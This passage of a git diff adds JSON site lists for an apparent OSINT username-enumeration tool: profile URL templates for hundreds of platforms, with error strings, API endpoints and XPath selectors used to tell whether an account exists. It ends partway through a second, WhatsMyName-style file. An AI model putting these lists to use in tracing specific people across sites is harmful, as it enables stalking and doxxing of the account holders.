"https://archive.org/details/@{}", + "test": "string", + "data": "cannot find account" + }, + { + "url": "https://asciinema.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fedoraproject.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ask.fm/{}", + "test": "string", + "data": "Well, apparently not anymore." + }, + { + "url": "https://audiojungle.net/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.avizo.cz/{}/", + "test": "url", + "data": null + }, + { + "url": "https://blip.fm/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.booth.pm/", + "test": "subdomain", + "data": null + }, + { + "url": "https://bandcamp.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.bazar.cz/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.behance.net/{}", + "test": null, + "data": null + }, + { + "url": "https://bitbucket.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://bitcoinforum.com/profile/{}", + "test": "string", + "data": "The user whose profile you are trying to view does not exist." + }, + { + "url": "https://{}.blogspot.com/", + "test": null, + "data": null + }, + { + "url": "https://bodyspace.bodybuilding.com/{}/", + "test": "url", + "data": null + }, + { + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.buymeacoffee.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.buzzfeed.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.cnet.com/profiles/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.capfriendly.com/users/{}", + "test": "string", + "data": "<h5>Forum Posts</h5><div class=\"ml10\">0</div>" + }, + { + "url": "https://{}.carbonmade.com/", + "test": null, + "data": null + }, + { + "url": "https://career.habr.com/{}", + "test": null, + "data": null + }, + { + "url": "https://beta.cent.co/{}/", + "test": "api", + "data": "https://beta.cent.co/data/user/profile?userHandles={}" + }, + { + "url": "https://www.championat.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://profil.chatujme.cz/{}", + "test": "string", + "data": "Neexistujicí profil" + }, + { + "url": "https://www.chess.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://community.cloudflare.com/u/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[4]/div[2]/div[2]/div/div/section/nav/ul/li[1]/a/span[contains(text(), 'Summary')]", + "not_found": "/html/body/section/div/div[1]/h1[contains(text(), 'exist or is private')]" + } + }, + { + "url": "https://www.clozemaster.com/players/{}", + "test": "string", + "data": "Player not found" + }, + { + "url": "https://www.codecademy.com/profiles/{}", + "test": "string", + "data": "This profile could not be found" + }, + { + "url": "https://www.codechef.com/users/{}", + "test": "url", + "data": null + }, + { + "url": "https://www.codewars.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.colourlovers.com/lover/{}", + "test": "string", + "data": "No one's home" + }, + { + "url": "https://{}.contently.com/", + "test": null, + "data": null + }, + { + "url": "https://www.coroflot.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.causes.com/api/v3/users?id={}", + "test": null, + "data": null + }, + { + "url": "https://www.cracked.com/members/{}/", + "test": "url", + "data": null + }, + { + "url": "https://{}.crevado.com/", + "test": null, + "data": null + }, + { + "url": "https://dev.to/{}", + "test": null, + "data": null + }, + { + "url": "https://www.dailymotion.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.designspiration.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.deviantart.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.discogs.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://discuss.elastic.co/u/{}", + "test": null, + "data": null + }, + { + "url": "https://disqus.com/by/{}/", + "test": null, + "data": null + }, + { + "url": "https://hub.docker.com/u/{}/", + "test": "api", + "data": "https://hub.docker.com/v2/users/{}/" + }, + { + "url": "https://dribbble.com/{}/about", + "test": null, + "data": null + }, + { + "url": "https://www.duolingo.com/profile/{}", + "test": "api", + "data": "https://www.duolingo.com/2017-06-30/users?username={}" + }, + { + "url": "https://ello.co/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/section/div[2]/div/div[2]/div[2]/div/span[2][contains(text(), 'Views')]", + "not_found": "/html/body/article/h1[contains(text(), 'find the page')]" + } + }, + { + "url": "https://www.etsy.com/shop/{}", + "test": null, + "data": null + }, + { + "url": "https://euw.op.gg/summoner/userName={}", + "test": "string", + "data": "This summoner is not registered" + }, + { + "url": "https://www.eyeem.com/u/{}", + "test": "string", + "data": "Whoops! We can't find the page you're looking for..." + }, + { + "url": "https://f3.cool/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.facebook.com/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'Photos')]", + "not_found": "//*[contains(text(), 'You must log in to continue')]" + } + }, + { + "url": "https://www.fandom.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flickr.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://my.flightradar24.com/{}", + "test": "string", + "data": "<body class=\"landing" + }, + { + "url": "https://flipboard.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.rusfootball.info/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://fortnitetracker.com/profile/all/{}", + "test": null, + "data": null + }, + { + "url": "https://freelance.habr.com/freelancers/{}", + "test": null, + "data": null + }, + { + "url": "https://www.freelancer.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://freesound.org/people/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.gamespot.com/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.getmyuni.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://giphy.com/{}", + "test": null, + "data": null + }, + { + "url": "https://github.com/{}", + "test": null, + "data": null + }, + { + "url": "https://gitlab.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.goodreads.com/{}", + "test": null, + "data": null + }, + { + "url": "http://en.gravatar.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.gumroad.com/", + "test": null, + "data": null + }, + { + "url": "https://forums.gunsandammo.com/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://gurushots.com/{}/photos", + "test": "headless", + "data": { + "found": "/html/body/app-root/div/div/div[1]/profile-page/div[2]/div[1]/div[2]/div[3]/span[2][contains(text(), 'POINTS')]", + "not_found": "/html/body/app-root/div/div/div[1]/ui-view/page404/div/div[1][contains(text(), 'exist')]" + } + }, + { + "url": "https://forum.hackthebox.eu/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://hackaday.io/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerone.com/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerrank.com/{}", + "test": "string", + "data": "Something went wrong!" + }, + { + "url": "https://www.house-mixes.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://houzz.com/user/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hubpages.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://hubski.com/user/{}", + "test": "string", + "data": "No such user." + }, + { + "url": "https://icq.im/{}", + "test": null, + "data": null + }, + { + "url": "https://www.ifttt.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://imgup.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instructables.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://issuu.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.itch.io/", + "test": null, + "data": null + }, + { + "url": "https://{}.jimdosite.com", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'jimdo')]", + "not_found": "/html/body/h1[contains(text(), 'Not Found')]" + } + }, + { + "url": "https://www.kaggle.com/{}", + "test": null, + "data": null + }, + { + "url": "https://keybase.io/{}", + "test": null, + "data": null + }, + { + "url": "https://kik.me/{}", + "test": "string", + "data": "class=\"pic-none\"" + }, + { + "url": "https://www.kongregate.com/accounts/{}", + "test": null, + "data": null + }, + { + "url": "https://www.linux.org.ru/people/{}/profile", + "test": null, + "data": null + }, + { + "url": "https://launchpad.net/~{}", + "test": null, + "data": null + }, + { + "url": "https://leetcode.com/{}", + "test": null, + "data": null + }, + { + "url": "https://letterboxd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://lichess.org/@/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.livejournal.com", + "test": null, + "data": null + }, + { + "url": "https://lobste.rs/u/{}", + "test": null, + "data": null + }, + { + "url": "https://lolchess.gg/profile/na/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://medium.com/@{}", + "test": "string", + "data": "PAGE NOT FOUND" + }, + { + "url": "https://www.memrise.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.mixcloud.com/{}/", + "test": "api", + "data": "https://api.mixcloud.com/{}/" + }, + { + "url": "https://www.munzee.com/m/{}", + "test": null, + "data": null + }, + { + "url": "https://myanimelist.net/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://www.myminifactory.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://myspace.com/{}", + "test": null, + "data": null + }, + { + "url": "https://community.native-instruments.com/profile/{}", + "test": "string", + "data": "User Not Found" + }, + { + "url": "https://namemc.com/search?q={}", + "test": "headless", + "data": { + "found": "/html/body/main/div/div[2]/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Unavailable')]", + "not_found": "/html/body/main/div/div/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Available')]" + } + }, + { + "url": "https://blog.naver.com/{}", + "test": "string", + "data": "<h1 class=\"error_h1\">죄송합니다. 유효하지 않은 요청입니다.</h1>" + }, + { + "url": "https://ok.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://www.openstreetmap.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://opensource.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://ourdjtalk.com/members?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://forums.pcgamer.com/members/?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://pcpartpicker.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[1]/section/nav/ul/li[2]/a[contains(text(), 'Comments')]", + "not_found": "/html/body/section/div/div[1]/section/h1[contains(text(), 'Page Not Found')]" + } + }, + { + "url": "https://psnprofiles.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://pastebin.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.patreon.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.pinkbike.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.pinterest.com/{}/", + "test": "string", + "data": "<title>" + }, + { + "url": "https://play.google.com/store/apps/developer?id={}", + "test": null, + "data": null + }, + { + "url": "https://pokemonshowdown.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://polarsteps.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.polygon.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.producthunt.com/@{}", + "test": null, + "data": null + }, + { + "url": "http://promodj.com/{}", + "test": null, + "data": null + }, + { + "url": "https://pypi.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://quizlet.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.quora.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://{}.rajce.idnes.cz/", + "test": "string", + "data": "Uživatel neexistuje" + }, + { + "url": "https://www.redbubble.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://old.reddit.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://repl.it/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.reverbnation.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.roblox.com/user.aspx?username={}", + "test": null, + "data": null + }, + { + "url": "https://rubygems.org/profiles/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sbazar.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://scratch.mit.edu/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.scribd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.shitpostbot.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://community.signalusers.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.slack.com", + "test": null, + "data": null + }, + { + "url": "https://slashdot.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://slideshare.net/{}", + "test": null, + "data": null + }, + { + "url": "https://www.smule.com/{}", + "test": "string", + "data": "Smule | Page Not Found (404)" + }, + { + "url": "https://soundcloud.com/{}", + "test": null, + "data": null + }, + { + "url": "https://sourceforge.net/u/{}", + "test": null, + "data": null + }, + { + "url": "https://soylentnews.org/~{}", + "test": "string", + "data": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "test": "string", + "data": "We couldn't find that user." + }, + { + "url": "https://speedrun.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://splits.io/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sporcle.com/user/{}/people", + "test": null, + "data": null + }, + { + "url": "https://www.sports.ru/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://open.spotify.com/user/{}", + "test": "string", + "data": "Spotify – Web Player" + }, + { + "url": "https://robertsspaceindustries.com/citizens/{}", + "test": "string", + "data": "404 - Roberts Space Industries" + }, + { + "url": "https://steamcommunity.com/id/{}", + "test": "string", + "data": "The specified profile could not be found." + }, + { + "url": "https://steamcommunity.com/groups/{}", + "test": "string", + "data": "No group could be retrieved for the given URL." + }, + { + "url": "https://www.strava.com/athletes/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://forum.sublimetext.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ch.tetr.io/u/{}", + "test": "api", + "data": "https://ch.tetr.io/api/users/{}" + }, + { + "url": "https://t.me/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.tinder.com/@{}", + "test": "string", + "data": "Tinder | Dating, Make Friends & Meet New People" + }, + { + "url": "http://en.tm-ladder.com/{}_rech.php", + "test": "string", + "data": "player unknown or invalid" + }, + { + "url": "https://www.tradingview.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://trakt.tv/users/{}", + "test": null, + "data": null + }, + { + "url": "https://trashbox.ru/users/{}", + "test": "string", + "data": "Пользователь не найден" + }, + { + "url": "https://trello.com/{}/activity", + "test": "api", + "data": "https://trello.com/1/Members/{}" + }, + { + "url": "https://www.tripadvisor.com/Profile/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[3]/div[1]/div/ul/li[1]/a[contains(text(), 'Activity')]", + "not_found": "/html/body/div[3]/div[2]/div/div[2]/div[2]/div/div[1][contains(text(), 'This page is on vacation')]" + } + }, + { + "url": "https://tryhackme.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://m.twitch.tv/{}", + "test": "string", + "data": "Sorry, that page is in another castle!" + }, + { + "url": "https://data.typeracer.com/pit/profile?user={}", + "test": "string", + "data": "Profile Not Found" + }, + { + "url": "https://ultimate-guitar.com/u/{}", + "test": "string", + "data": "Oops! We couldn't find that page." + }, + { + "url": "https://unsplash.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://vk.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://vsco.co/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.velomania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://venmo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://vero.co/{}", + "test": null, + "data": null + }, + { + "url": "https://vimeo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://virgool.io/@{}", + "test": "string", + "data": "۴۰۴" + }, + { + "url": "https://www.virustotal.com/gui/user/{}", + "test": "alt", + "data": "https://www.virustotal.com/ui/users/{}/avatar" + }, + { + "url": "https://www.warriorforum.com/members/{}.html", + "test": "string", + "data": "Error 400" + }, + { + "url": "https://www.wattpad.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.webnode.cz/", + "test": null, + "data": null + }, + { + "url": "http://www.wikidot.com/user:info/{}", + "test": "string", + "data": "User does not exist." + }, + { + "url": "https://www.wikipedia.org/wiki/User:{}", + "test": null, + "data": null + }, + { + "url": "https://community.windy.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.wix.com", + "test": null, + "data": null + }, + { + "url": "https://{}.wordpress.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://profiles.wordpress.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.younow.com/{}", + "test": "api", + "data": "https://api.younow.com/php/api/broadcast/info/curId=0/lang=en/user={}" + }, + { + "url": "https://youpic.com/photographer/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.youtube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.zhihu.com/people/{}", + "test": "string", + "data": "你似乎来到了没有知识存在的荒原" + }, + { + "url": "https://akniga.org/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://allmylinks.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div/section/div/div/div/div[2]/div/button/span[1][contains(text(), 'Follow')]", + "not_found": "/html/body/div[1]/div[1]/section/div/div/div/div/div/h1[contains(text(), '404')]" + } + }, + { + "url": "https://www.baby.ru/u/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.babyblog.ru/user/info/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://chaos.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.couchsurfing.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://d3.ru/user/{}/posts", + "test": null, + "data": null + }, + { + "url": "https://www.dailykos.com/user/{}", + "test": null, + "data": null + }, + { + "url": "http://dating.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://devrant.com/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.drive2.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://egpu.io/forums/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://community.eintracht.de/fans/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fixya.com/users/{}", + "test": "headless", + "data": { + "found": "/html/body/div[3]/div[4]/div/div[2]/div/div[1]/h3[contains(text(), 'Stats')]", + "not_found": "/html/body/div[2]/div/fieldset/h2[contains(text(), '404')]" + } + }, + { + "url": "https://www.fl.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.guns.ru/forummisc/blog/{}", + "test": "string", + "data": "нет такого участника" + }, + { + "url": "https://www.forumhouse.ru/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://www.geocaching.com/p/default.aspx?u={}", + "test": null, + "data": null + }, + { + "url": "https://gfycat.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://habr.com/ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackster.io/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hunting.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://imgsrc.ru/main/user.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "http://forum.igromania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://www.interpals.net/{}", + "test": "string", + "data": "The requested user does not exist or is inactive." + }, + { + "url": "https://irecommend.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://jbzd.com.pl/uzytkownik/{}", + "test": null, + "data": null + }, + { + "url": "http://www.jeuxvideo.com/profil/{}?mode=infos", + "test": "method", + "data": null + }, + { + "url": "https://kwork.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://lab.pentestit.ru/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://last.fm/user/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.leasehackr.com/u/{}/summary/", + "test": null, + "data": null + }, + { + "url": "https://www.livelib.ru/reader/{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.cloud/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.xyz/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.mercadolivre.com.br/perfil/{}", + "test": null, + "data": null + }, + { + "url": "https://www.metacritic.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[2]/div/h2[contains(text(), 'SCORES')]", + "not_found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[1]/div[contains(text(), 'User not found')]" + } + }, + { + "url": "https://moikrug.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://mstdn.io/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.nairaland.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div/table[2]/tbody/tr/td/p[1]/b[contains(text(), 'registered')]", + "not_found": "/html/body/div/h2[contains(text(), '404')]" + } + }, + { + "url": "https://{}.www.nn.ru/", + "test": null, + "data": null + }, + { + "url": "https://note.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.npmjs.com/~{}", + "test": null, + "data": null + }, + { + "url": "https://www.opennet.ru/~{}", + "test": "string", + "data": "Имя участника не найдено" + }, + { + "url": "https://osu.ppy.sh/users/{}", + "test": null, + "data": null + }, + { + "url": "https://php.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://pikabu.ru/@{}", + "test": null, + "data": null + }, + { + "url": "https://pr0gramm.com/user/{}", + "test": "api", + "data": "https://pr0gramm.com/api/profile/info?name={}" + }, + { + "url": "https://satsis.info/user/{}", + "test": null, + "data": null + }, + { + "url": "https://social.tchncs.de/@{}", + "test": null, + "data": null + }, + { + "url": "https://spletnik.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.svidbook.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.toster.ru/user/{}/answers", + "test": null, + "data": null + }, + { + "url": "http://uid.me/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instagram.com/{}/", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/header/section/div[1]/div/div/div/button/div/div[contains(text(), 'Follow')]", + "not_found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/div/h2[contains(text(), 'Sorry')]" + } + }, + { + "url": "https://gist.github.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.zoomit.ir/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.github.io/", + "test": null, + "data": null + }, + { + "url": "https://code.golf/golfers/{}", + "test": "method", + "data": null + }, + { + "url": "https://hashnode.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.de/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.tokyo/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.se/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.uno/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.nz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.change.org/o/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.antichat.ru/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://forums.majorgeeks.com/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://musicbrainz.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://archiveofourown.org/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://{}.tumblr.com/", + "test": null, + "data": null + }, + { + "url": "https://codeforces.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://boardgamegeek.com/user/{}", + "test": "string", + "data": "Error: User does not exist." + }, + { + "url": "http://www.vimgolf.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://ifunny.co/user/{}", + "test": null, + "data": null + }, + { + "url": "https://linktr.ee/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackerearth.com/@{}", + "test": "string", + "data": "404. URL not found." + }, + { + "url": "https://valorantforums.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://discourse.jupyter.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://cplusplus.com/user/{}/", + "test": "string", + "data": "404 Page Not Found" + }, + { + "url": "https://www.ruby-forum.com/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://discuss.python.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://baraza.africa/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://{}.bitbucket.io/", + "test": null, + "data": null + }, + { + "url": "https://www.bitchute.com/channel/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.carrd.co/", + "test": null, + "data": null + }, + { + "url": "https://casually.cat/@{}", + "test": null, + "data": null + }, + { + "url": "https://codeberg.org/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.codeberg.page/", + "test": null, + "data": null + }, + { + "url": "http://{}.ctcin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://{}.contactin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "http://{}.contactinbio.com/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://coub.com/{}", + "test": null, + "data": null + }, + { + "url": "https://dlive.tv/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'ABOUT')]", + "not_found": "//*[contains(text(), 'Channel not found')]" + } + }, + { + "url": "https://ds9.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://app.realunify.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flowcode.com/page/{}", + "test": "string", + "data": "Nobody's reserved this Flowpage yet" + }, + { + "url": "https://tv.gab.com/channel/{}", + "test": "method", + "data": null + }, + { + "url": "https://lemmy.glasgow.social/u/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hypel.ink/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.imgbb.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.eus/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.tedomum.net/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmygrad.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://voyager.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://www.liinks.co/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://linktube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://litelink.at/{}", + "test": null, + "data": null + }, + { + "url": "https://lnk.bio/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://many.link/{}", + "test": "string", + "data": "Couldn't find a profile named" + }, + { + "url": "https://{}.neocities.org/", + "test": null, + "data": null + }, + { + "url": "https://pixelhub.me/pixelhub1/index.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "https://shor.by/{}", + "test": null, + "data": null + }, + { + "url": "https://solo.to/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/a[contains(text(), 'create your own')]", + "not_found": "/html/body/div[2]/div/div/h1[contains(text(), 'Hmm')]" + } + }, + { + "url": "https://sr.ht/~{}/", + "test": null, + "data": null + }, + { + "url": "https://www.spreaker.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.squarespace.com/", + "test": null, + "data": null + }, + { + "url": "https://{}.surge.sh", + "test": null, + "data": null + }, + { + "url": "https://{}.weebly.com/", + "test": null, + "data": null + }, + { + "url": "https://www.worldtruth.online/{}", + "test": null, + "data": null + }, + { + "url": "https://www.twitter.com/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'Followers')]", + "not_found": "//*[contains(text(), 'This account doesn')]" + } + }, + { + "url": "https://bugcrowd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fiverr.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div[2]/div[2]/div/h3[contains(text(), 'Languages')]", + "not_found": "//*[contains(text(), 'Find the perfect') or contains(text(), 'what you were')]" + } + }, + { + "url": "https://tenor.com/users/{}", + "test": null, + "data": null + } +] diff --git a/data/sites/reveal_my_name.json b/data/sites/reveal_my_name.json new file mode 100644 index 0000000..e58d608 --- /dev/null +++ b/data/sites/reveal_my_name.json @@ -0,0 +1,7076 @@ +{ + "license" : ["Copyright (C) 2023 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA."], + "authors" : ["Micah 'WebBreacher' Hoffman","C3n7ral051nt4g3ncy","Munchko","L0r3m1p5um","lehuff", + "janbinx","bcoles","arnydo","mccartney","salaheldinaz","camhoff","jocephus", + "swedishmike","soxoj","jspinel","ef1500","zewen","jocejocejoe","P3run","seintpl", + "djahren","K2SOsint","Sector035","AccentuSoft"], + "categories" : ["archived","art","blog","business","coding","dating","finance","gaming","health", + "hobby","images","misc","music","news","political","search","shopping","social", + "tech","video","XXXPORNXXX"], + "sites" : [ + { + "name" : "Mastodon-101010.pl", + "uri_check" : "https://101010.pl/@{account}", + "e_code" : 200, + "e_string" : "@101010.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["szekspir", "xaphanpl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "1001mem", + "uri_check" : "http://1001mem.ru/{account}", + "e_code" : 200, + 